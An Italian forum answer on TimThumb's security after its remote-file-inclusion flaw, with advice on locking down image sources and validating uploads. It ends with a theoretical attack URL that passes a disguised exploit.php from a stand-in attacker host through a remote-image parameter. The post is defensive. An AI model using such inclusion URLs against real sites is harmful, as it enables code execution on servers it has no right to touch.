TimThumb alternativa di sicurezza o correzione?

La versione aggiornata di timthumb ha molti meccanismi di sicurezza per prevenire tali vulnerabilità e il codice è stato ispezionato più attentamente dopo la scoperta. Lo uso personalmente su diversi siti e non penso che sia meno sicuro di qualsiasi altra alternativa. Tuttavia, ovviamente dipende dalle alternative e non ne sono a conoscenza in particolare.

Non ci sono garanzie per la sicurezza. C'è sempre la possibilità che venga scoperta una nuova vulnerabilità. Ma questo vale per qualsiasi prodotto. Tendo a pensare che i prodotti che hanno riscontrato un problema di sicurezza probabilmente tengano conto della sicurezza più di quelli che non hanno riscontrato problemi. Ovviamente è molto individuale per le persone, il prodotto, l'ambiente e così via, quindi non è qualcosa su cui fare affidamento.

Invece vorrei concentrarmi sull'impostazione di timthumb nel modo più sicuro possibile per il tuo ambiente. Ad esempio, assicurarsi che non siano consentite sorgenti di immagini esterne. In tali configurazioni, credo che persino la vecchia versione di timthumb non fosse vulnerabile.

Mi sembra che l'intero problema dei permessi sia un po 'falso. Questo script sembra consentire inclusioni di file remoti non filtrando correttamente le estensioni di file o permettendo ai file gif di essere caricati con il codice exploit aggiunto alla fine della gif (e forse anche nei dati exif).

Al di sopra della mia testa, quando permetti il caricamento, uno script dovrebbe verificare quanto segue:

• Verifica i dati exif per l'inclusione del codice dannoso (ad esempio exif_read_data() )

• Controlla le dimensioni dell'immagine e le dimensioni del file (per vedere se esistono anche)

• Controlla almeno l'inizio e la fine del codice per l'inclusione dannosa,
• Controlla il tipo di contenuto
• È importante utilizzare una lista bianca delle estensioni di immagine consentite

I problemi di sicurezza sono a volte aggiunti accidentalmente dagli sviluppatori nello sforzo di rendere il caricamento delle immagini più flessibile per gli utenti. Ad esempio, per consentire il caricamento di avatar / immagini remotamente ospitate. Se non viene controllato correttamente, un utente malintenzionato può caricare un codice dannoso ad esempio in un file con estensione gif e tentare di includerlo da remoto.

O anche usando un'estensione .php standard a seconda di quanto sia scritto male il codice, per esempio teorico:

www.victimsite.com/?remoteimg=http://www.attacksite.com/images/exploit.php/fakeimage.gif

Alcuni script leggeranno l'estensione dell'immagine come .gif ma quando include la cosiddetta immagine, il codice in realtà include i contenuti del file exploit.php.